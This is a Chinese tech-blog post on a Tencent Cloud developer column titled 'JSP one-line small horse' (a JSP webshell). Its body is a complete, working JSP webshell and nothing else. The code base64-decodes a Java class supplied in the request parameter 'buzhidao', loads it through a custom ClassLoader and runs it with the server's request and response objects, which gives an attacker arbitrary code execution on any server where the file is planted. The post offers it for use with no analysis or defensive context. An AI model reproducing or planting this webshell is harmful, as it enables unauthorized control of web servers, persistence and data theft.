首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >JSP一句话小马

JSP一句话小马

作者头像
XPcode7
发布2025-10-23 09:54:20
发布2025-10-23 09:54:20
900
举报

<%! class NATIVE extends ClassLoader{   NATIVE(ClassLoader c){super(c);}   public Class routine(byte[] b){     return super.defineClass(b, 0, b.length);   } } public byte[] runtime(String str) throws Exception {   Class base64;   byte[] value = null;   try {     base64=Class.forName("sun.misc.BASE64Decoder");     Object decoder = base64.newInstance();     value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });   } catch (Exception e) {     try {       base64=Class.forName("java.util.Base64");       Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);       value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });     } catch (Exception ee) {}   }   return value; } %> <% String cls = request.getParameter("buzhidao"); if (cls != null) {   new NATIVE(this.getClass().getClassLoader()).routine(runtime(cls)).newInstance().equals(new Object[]{request,response}); } %>

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-09-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档